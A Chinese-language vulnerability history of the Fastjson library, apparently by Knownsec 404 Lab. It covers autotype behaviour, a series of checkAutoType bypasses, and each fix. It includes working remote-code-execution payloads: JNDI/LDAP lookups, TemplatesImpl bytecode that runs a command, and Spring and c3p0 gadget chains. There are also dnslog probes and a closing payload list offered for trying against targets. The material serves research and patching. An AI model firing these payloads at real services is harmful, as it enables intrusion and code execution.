Fastjson 反序列化漏洞史
作者:Longofo@知道創宇404實驗室
時間:2020年4月27日
英文版本:
原文地址:
Fastjson沒有cve編號,不太好查詢時間線,一開始也不知道咋寫,不過還是慢慢寫出點東西,幸好fastjson開源以及有師傅們的一路辛勤記錄。文中將給出與Fastjson漏洞相關的比較關鍵的更新以及漏洞時間線,會對一些比較經典的漏洞進行測試及修復說明,給出一些探測payload,rce payload。
Fastjson解析流程
可以參考下@Lucifaer師傅寫的 ,這裡不寫了,再寫篇幅就佔用很大了。文中提到fastjson有使用ASM生成的位元組碼,由於實際使用中很多類都不是原生類,fastjson序列化/反序列化大多數類時都會用ASM處理,如果好奇想檢視生成的位元組碼,可以用idea動態除錯時儲存位元組檔案:
插入的程式碼為:
BufferedOutputStream bos = null;FileOutputStream fos = null;File file = null;String filePath = "F:/java/javaproject/fastjsonsrc/target/classes/" + packageName.replace(".","/") + "/";try {
File dir = new File(filePath);
if (!dir.exists()) {
dir.mkdirs();
}
file = new File(filePath + className + ".class");
fos = new FileOutputStream(file);
bos = new BufferedOutputStream(fos);
bos.write(code);} catch (Exception e) {
e.printStackTrace();} finally {
if (bos != null) {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (fos != null) {
try {
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}}
生成的類:
但是這個類並不能用於除錯,因為fastjson中用ASM生成的程式碼沒有linenumber、trace等用於除錯的資訊,所以不能除錯。不過透過在Expression那個視窗重寫部分程式碼,生成可用於調式的bytecode應該也是可行的(我沒有測試,如果有時間和興趣,可以看下ASM怎麼生成可用於除錯的位元組碼)。
Fastjson 樣例測試
首先用多個版本測試下面這個例子:
//User.javapackage com.longofo.test;public class User {
private String name; //私有屬性,有getter、setter方法 private int age; //私有屬性,有getter、setter方法 private boolean flag; //私有屬性,有is、setter方法 public String sex; //公有屬性,無getter、setter方法 private String address; //私有屬性,無getter、setter方法
public User() {
System.out.println("call User default Constructor");
}
public String getName() {
System.out.println("call User getName");
return name;
}
public void setName(String name) {
System.out.println("call User setName");
this.name = name;
}
public int getAge() {
System.out.println("call User getAge");
return age;
}
public void setAge(int age) {
System.out.println("call User setAge");
this.age = age;
}
public boolean isFlag() {
System.out.println("call User isFlag");
return flag;
}
public void setFlag(boolean flag) {
System.out.println("call User setFlag");
this.flag = flag;
}
@Override public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", flag=" + flag +
", sex='" + sex + '\'' +
", address='" + address + '\'' +
'}';
}}
package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test1 {
public static void main(String[] args) {
//序列化 String serializedStr = "{\"@type\":\"com.longofo.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";// System.out.println("serializedStr=" + serializedStr);
System.out.println("-----------------------------------------------\n\n");
//透過parse方法進行反序列化,返回的是一個JSONObject] System.out.println("JSON.parse(serializedStr):");
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化物件名稱:" + obj1.getClass().getName());
System.out.println("parse反序列化:" + obj1);
System.out.println("-----------------------------------------------\n");
//透過parseObject,不指定類,返回的是一個JSONObject System.out.println("JSON.parseObject(serializedStr):");
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化物件名稱:" + obj2.getClass().getName());
System.out.println("parseObject反序列化:" + obj2);
System.out.println("-----------------------------------------------\n");
//透過parseObject,指定為object.class System.out.println("JSON.parseObject(serializedStr, Object.class):");
Object obj3 = JSON.parseObject(serializedStr, Object.class);
System.out.println("parseObject反序列化物件名稱:" + obj3.getClass().getName());
System.out.println("parseObject反序列化:" + obj3);
System.out.println("-----------------------------------------------\n");
//透過parseObject,指定為User.class System.out.println("JSON.parseObject(serializedStr, User.class):");
Object obj4 = JSON.parseObject(serializedStr, User.class);
System.out.println("parseObject反序列化物件名稱:" + obj4.getClass().getName());
System.out.println("parseObject反序列化:" + obj4);
System.out.println("-----------------------------------------------\n");
}}
說明:
- 這裡的@type就是對應常說的autotype功能,簡單理解為fastjson會自動將json的key:value值對映到@type對應的類中
- 樣例User類的幾個方法都是比較普通的方法,命名、返回值也都是常規的符合bean要求的寫法,所以下面的樣例測試有的特殊呼叫不會覆蓋到,但是在漏洞分析中,可以看到一些特殊的情況
- parse用了四種寫法,四種寫法都能造成危害(不過實際到底能不能利用,還得看版本和使用者是否開啟了某些配置開關,具體往後看)
- 樣例測試都使用jdk8u102,程式碼都是拉的原始碼測,主要是用樣例說明autotype的預設開啟、checkautotype的出現、以及黑白名白名單從哪個版本開始出現的過程以及增強手段
1.1.157測試
這應該是最原始的版本了(tag最早是這個),結果:
serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true,"sex":"boy","address":"china"}
-----------------------------------------------
JSON.parse(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
parse反序列化物件名稱:com.longofo.test.User
parse反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------
JSON.parseObject(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject反序列化物件名稱:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}
-----------------------------------------------
JSON.parseObject(serializedStr, Object.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化物件名稱:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------
JSON.parseObject(serializedStr, User.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化物件名稱:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------
下面對每個結果做一個簡單的說明
JSON.parse(serializedStr)
JSON.parse(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
parse反序列化物件名稱:com.longofo.test.User
parse反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
在指定了@type的情況下,自動呼叫了User類預設構造器,User類對應的setter方法(setAge,setName),最終結果是User類的一個例項,不過值得注意的是public sex被成功賦值了,private address沒有成功賦值,不過在1.2.22, 1.1.54.android之後,增加了一個SupportNonPublicField特性,如果使用了這個特性,那麼private address就算沒有setter、getter也能成功賦值,這個特性也與後面的一個漏洞有關。注意預設構造方法、setter方法呼叫順序,預設構造器在前,此時屬性值還沒有被賦值,所以即使預設構造器中存在危險方法,但是危害值還沒有被傳入,所以預設構造器按理來說不會成為漏洞利用方法,不過對於內部類那種,外部類先初始化了自己的某些屬性值,但是內部類預設構造器使用了父類的屬性的某些值,依然可能造成危害。
可以看出,從最原始的版本就開始有autotype功能了,並且autotype預設開啟。同時ParserConfig類中還沒有黑名單。
JSON.parseObject(serializedStr)
JSON.parseObject(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject反序列化物件名稱:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}
在指定了@type的情況下,自動呼叫了User類預設構造器,User類對應的setter方法(setAge,setName)以及對應的getter方法(getAge,getName),最終結果是一個字串。這裡還多呼叫了getter(注意bool型別的是is開頭的)方法,是因為parseObject在沒有其他引數時,呼叫了JSON.toJSON(obj),後續會透過gettter方法獲取obj屬性值:
JSON.parseObject(serializedStr, Object.class)
JSON.parseObject(serializedStr, Object.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化物件名稱:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
在指定了@type的情況下,這種寫法和第一種JSON.parse(serializedStr)寫法其實沒有區別的,從結果也能看出。
JSON.parseObject(serializedStr, User.class)
JSON.parseObject(serializedStr, User.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化物件名稱:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
在指定了@type的情況下,自動呼叫了User類預設構造器,User類對應的setter方法(setAge,setName),最終結果是User類的一個例項。這種寫法明確指定了目標物件必須是User型別,如果@type對應的型別不是User型別或其子類,將丟擲不匹配異常,但是,就算指定了特定的型別,依然有方式在型別匹配之前來觸發漏洞。
1.2.10測試
對於上面User這個類,測試結果和1.1.157一樣,這裡不寫了。
到這個版本autotype依然預設開啟。不過從這個版本開始,fastjson在ParserConfig中加入了denyList,一直到1.2.24版本,這個denyList都只有一個類(不過這個java.lang.Thread不是用於漏洞利用的):
1.2.25測試
測試結果是丟擲出了異常:
serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true}-----------------------------------------------JSON.parse(serializedStr):
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.longofo.test.User
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:882)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.longofo.test.Test1.main(Test1.java:14)
從1.2.25開始,autotype預設關閉了,對於autotype開啟,後面漏洞分析會涉及到。並且從1.2.25開始,增加了checkAutoType函式,它的主要作用是檢測@type指定的類是否在白名單、黑名單(使用的startswith方式)
以及目標類是否是兩個危險類(Classloader、DataSource)的子類或者子介面,其中白名單優先順序最高,白名單如果允許就不檢測黑名單與危險類,否則繼續檢測黑名單與危險類:
增加了黑名單類、包數量,同時增加了白名單,使用者還可以呼叫相關方法新增黑名單/白名單到列表中:
後面的許多漏洞都是對checkAutotype以及本身某些邏輯缺陷導致的漏洞進行修復,以及黑名單的不斷增加。
1.2.42測試
與1.2.25一樣,預設不開啟autotype,所以結果一樣,直接拋autotype未開啟異常。
從這個版本開始,將denyList、acceptList換成了十進位制的hashcode,使得安全研究難度變大了(不過hashcode的計算方法依然是公開的,假如擁有大量的jar包,例如maven倉庫可以爬jar包下來,可批次的跑類名、包名,不過對於黑名單是包名的情況,要找到具體可利用的類也會消耗一些時間):
checkAutotype中檢測也做了相應的修改:
1.2.61測試
與1.2.25一樣,預設不開啟autotype,所以結果一樣,直接拋autotype未開啟異常。
從1.2.25到1.2.61之前其實還發生了很多繞過與黑名單的增加,不過這部分在後面的漏洞版本線在具體寫,這裡寫1.2.61版本主要是說明黑名單防禦所做的手段。在1.2.61版本時,fastjson將hashcode從十進位制換成了十六進位制:
不過用十六進位制表示與十進位制表示都一樣,同樣可以批次跑jar包。在1.2.62版本為了統一又把十六進位制大寫:
再之後的版本就是黑名單的增加了
Fastjson漏洞版本線
下面漏洞不會過多的分析,太多了,只會簡單說明下以及給出payload進行測試與說明修復方式。
ver<=1.2.24
從上面的測試中可以看到,1.2.24及之前沒有任何防禦,並且autotype預設開啟,下面給出那會比較經典的幾個payload。
com.sun.rowset.JdbcRowSetImpl利用鏈
payload:
{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
測試(jdk=8u102,fastjson=1.2.24):
package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test2 {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";// JSON.parse(payload); 成功 //JSON.parseObject(payload); 成功 //JSON.parseObject(payload,Object.class); 成功 //JSON.parseObject(payload, User.class); 成功,沒有直接在外層用@type,加了一層rand:{}這樣的格式,還沒到型別匹配就能成功觸發,這是在xray的一篇文中看到的,所以後面的payload都使用這種模式 }}
結果:
觸發原因簡析:
JdbcRowSetImpl物件恢復->setDataSourceName方法呼叫->setAutocommit方法呼叫->context.lookup(datasourceName)呼叫
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用鏈
payload:
{
"rand1": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
],
"_name": "aaa",
"_tfactory": {},
"_outputProperties": {}
}
}
測試(jdk=8u102,fastjson=1.2.24):
package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.codec.binary.Base64;public class Test3 {
public static void main(String[] args) throws Exception {
String evilCode_base64 = readClass();
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{'rand1':{" +
"\"@type\":\"" + NASTY_CLASS + "\"," +
"\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'aaa'," +
"'_tfactory':{}," +
"'_outputProperties':{}" +
"}}\n";
System.out.println(payload);
//JSON.parse(payload, Feature.SupportNonPublicField); 成功 //JSON.parseObject(payload, Feature.SupportNonPublicField); 成功 //JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功 //JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功 }
public static class AaAa {
}
public static String readClass() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(AaAa.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "AaAa" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
byte[] evilCode = cc.toBytecode();
return Base64.encodeBase64String(evilCode);
}}
結果:
觸發原因簡析:
TemplatesImpl物件恢復->JavaBeanDeserializer.deserialze->FieldDeserializer.setValue->TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->透過defineTransletClasses,newInstance觸發我們自己構造的class的靜態程式碼塊
簡單說明:
這個漏洞需要開啟SupportNonPublicField特性,這在樣例測 試中也說到了。因為TemplatesImpl類中_bytecodes、_tfactory、_name、_outputProperties、_class並沒有對應的setter,所以要為這些private屬性賦值,就需要 開啟SupportNonPublicField特性。具體這個poc構造過程,這裡不分析了,可以看下廖大師傅的 ,涉及到了一些細節問題。
ver>=1.2.25&ver<=1.2.41
1.2.24之前沒有autotype的限制,從1.2.25開始預設關閉了autotype支援,並且加入了checkAutotype,加入了黑名單+白名單來防禦autotype開啟的情況。在1.2.25到1.2.41之間,發生了一次checkAutotype的繞過。
下面是checkAutoType程式碼:
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
// 位置1,開啟了autoTypeSupport,先白名單,再黑名單 if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// 位置2,從已存在的map中獲取clazz Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
// 位置3,沒開啟autoTypeSupport,依然會進行黑白名單檢測,先黑名單,再白名單 if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
// 位置4,過了黑白名單,autoTypeSupport開啟,就載入目標類 if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
if (clazz != null) {
// ClassLoader、DataSource子類/子介面檢測 if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver ) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
在上面做了四個位置標記,因為後面幾次繞過也與這幾處位置有關。這一次的繞過是走過了前面的1,2,3成功進入位置4載入目標類。位置4 loadclass如下:
去掉了className前後的L和;,形如Lcom.lang.Thread;這種表示方法和JVM中類的表示方法是類似的,fastjson對這種表示方式做了處理。而之前的黑名單檢測都是startswith檢測的,所以可給@type指定的類前後加上L和;來繞過黑名單檢測。
這裡用上面的JdbcRowSetImpl利用鏈:
{
"rand1": {
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}}
測試(jdk8u102,fastjson 1.2.41):
package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Test4 {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//JSON.parse(payload); 成功 //JSON.parseObject(payload); 成功 //JSON.parseObject(payload,Object.class); 成功 //JSON.parseObject(payload, User.class); 成功 }}
結果:
ver=1.2.42
在1.2.42對1.2.25~1.2.41的checkAutotype繞過進行了修復,將黑名單改成了十進位制,對checkAutotype檢測也做了相應變化:
黑名單改成了十進位制,檢測也進行了相應hash運算。不過和上面1.2.25中的檢測過程還是一致的,只是把startswith這種檢測換成了hash運算這種檢測。對於1.2.25~1.2.41的checkAutotype繞過的修復,就是紅框處,判斷了className前後是不是L和;,如果是,就擷取第二個字元和到倒數第二個字元。所以1.2.42版本的checkAutotype繞過就是前後雙寫LL和;;,擷取之後過程就和1.2.25~1.2.41版本利用方式一樣了。
用上面的JdbcRowSetImpl利用鏈:
{
"rand1": {
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
測試(jdk8u102,fastjson 1.2.42):
package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Test5 {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//JSON.parse(payload); 成功 //JSON.parseObject(payload); 成功 //JSON.parseObject(payload,Object.class); 成功 //JSON.parseObject(payload, User.class); 成功 }}
結果:
ver=1.2.43
1.2.43對於1.2.42的繞過修復方式:
在第一個if條件之下(L開頭,;結尾),又加了一個以LL開頭的條件,如果第一個條件滿足並且以LL開頭,直接拋異常。所以這種修復方式沒法在繞過了。但是上面的loadclass除了L和;做了特殊處理外,[也被特殊處理了,又再次繞過了checkAutoType:
用上面的JdbcRowSetImpl利用鏈:
{"rand1":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Exploit","autoCommit":true]}}
測試(jdk8u102,fastjson 1.2.43):
package com.longofo.test;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class Test6 {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true]}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);// JSON.parse(payload); 成功 //JSON.parseObject(payload); 成功 //JSON.parseObject(payload,Object.class); 成功 JSON.parseObject(payload, User.class);
}}
結果:
ver=1.2.44
1.2.44版本修復了1.2.43繞過,處理了[:
刪除了之前的L開頭、;結尾、LL開頭的判斷,改成了[開頭就拋異常,;結尾也拋異常,所以這樣寫之前的幾次繞過都修復了。
ver>=1.2.45&ver<1.2.46
這兩個版本期間就是增加黑名單,沒有發生checkAutotype繞過。黑名單中有幾個payload在後面的RCE Payload給出,這裡就不寫了
ver=1.2.47
這個版本發生了不開啟autotype情況下能利用成功的繞過。解析一下這次的繞過:
- 利用到了java.lang.class,這個類不在黑名單,所以checkAutotype可以過
- 這個java.lang.class類對應的 deserializer為MiscCodec,deserialize時會取json串中的val值並load這個val對應的class,如果fastjson cache為true,就會快取這個val對應的class到全域性map中
- 如果再次載入val名稱的class,並且autotype沒開啟(因為開啟了會先檢測黑白名單,所以這個漏洞開啟了反而不成功),下一步就是會嘗試從全域性map中獲取這個class,如果獲取到了,直接返回
這個漏洞分析已經很多了,具體詳情可以參考下
payload:
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"rand2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
測試(jdk8u102,fastjson 1.2.47):
package com.longofo.test;import com.alibaba.fastjson.JSON;public class Test7 {
public static void main(String[] args) {
String payload = "{\n" +
" \"rand1\": {\n" +
" \"@type\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
" }, \n" +
" \"rand2\": {\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
" \"dataSourceName\": \"ldap://localhost:1389/Object\", \n" +
" \"autoCommit\": true\n" +
" }\n" +
"}";
//JSON.parse(payload); 成功 //JSON.parseObject(payload); 成功 //JSON.parseObject(payload,Object.class); 成功 JSON.parseObject(payload, User.class);
}}
結果:
ver>=1.2.48&ver<=1.2.68
在1.2.48修復了1.2.47的繞過,在MiscCodec,處理Class類的地方,設定了cache為false:
在1.2.48到最新版本1.2.68之間,都是增加黑名單類。
ver=1.2.68
1.2.68是目前最新版,在1.2.68引入了safemode,開啟safemode時,@type這個specialkey完全無用,無論白名單和黑名單,都不支援autoType了。
在這個版本中,除了增加黑名單,還減掉一個黑名單:
這個減掉的黑名單,不知道有師傅跑出來沒,是個包名還是類名,然後能不能用於惡意利用,反正有點奇怪。
探測Fastjson
比較常用的探測Fastjson是用dnslog方式,探測到了再用RCE Payload去一個一個打。同事說讓搞個能回顯的放掃描器掃描,不過目標容器/框架不一樣,回顯方式也會不一樣,這有點為難了...,還是用dnslog吧。
dnslog探測
目前fastjson探測比較通用的就是dnslog方式去探測,其中Inet4Address、Inet6Address直到1.2.67都可用。下面給出一些看到的payload(結合了上面的rand:{}這種方式,比較通用些):
{"rand1":{"@type":"java.net.InetAddress","val":"}}{"rand2":{"@type":"java.net.Inet4Address","val":"}}{"rand3":{"@type":"java.net.Inet6Address","val":"}}{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"}}}{"rand5":{"@type":"java.net.URL","val":"}}一些畸形payload,不過依然可以觸發dnslog:{"rand6":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"}}""}}{"rand7":Set[{"@type":"java.net.URL","val":"}]}{"rand8":Set[{"@type":"java.net.URL","val":"}{"rand9":{"@type":"java.net.URL","val":"}:0
一些RCE Payload
之前沒有收集關於fastjson的payload,沒有去跑jar包....,下面列出了網路上流傳的payload以及從marshalsec中扣了一些並改造成適用於fastjson的payload ,每個payload適用的jdk版本、fastjson版本就不一一測試寫了,這一通測下來都不知道要花多少時間,實際利用基本無法知道版本、autotype開了沒、使用者咋配置的、使用者自己設定又加了黑名單/白名單沒,所以將構造的Payload一一過去打就行了,基礎payload:
payload1:
{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
payload2:
{
"rand1": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
],
"_name": "aaa",
"_tfactory": {},
"_outputProperties": {}
}
}
payload3:
{
"rand1": {
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://localhost:1389/Object"
}
}
}
payload4:
{
"rand1": {
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://localhost:1389/Object",
"propertyPath": "foo",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://localhost:1389/Object"
]
}
}
}
payload5:
{
"rand1": Set[
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://localhost:1389/obj"
]
},
"adviceBeanName": "ldap://localhost:1389/obj"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}
]}
payload6:
{
"rand1": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707